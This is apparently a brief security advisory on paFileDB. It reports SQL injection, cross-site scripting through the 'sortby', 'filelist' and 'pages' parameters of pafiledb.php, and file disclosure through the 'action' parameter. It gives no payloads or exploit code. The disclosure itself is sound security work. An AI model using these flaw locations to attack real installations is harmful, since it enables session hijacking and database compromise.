paFileDB is prone to multiple input validation vulnerabilities. The following issues are reported:

Multiple SQL injection issues exist in paFileDB.

The impact of these issues will vary depending on features supported by the database implementation but may be limited due to the nature of affected queries.

Multiple cross-site scripting issues are also reported when passing user-supplied arguments to the 'sortby', 'filelist', and 'pages' parameters of the 'pafiledb.php' script.

Exploitation of these issues may allow for compromise of the software, session hijacking, or attacks against the underlying database.

Finally, paFileDB is prone to a file disclosure vulnerability. The 'action' parameter of the 'pafiledb.php' script is affected by the vulnerability.
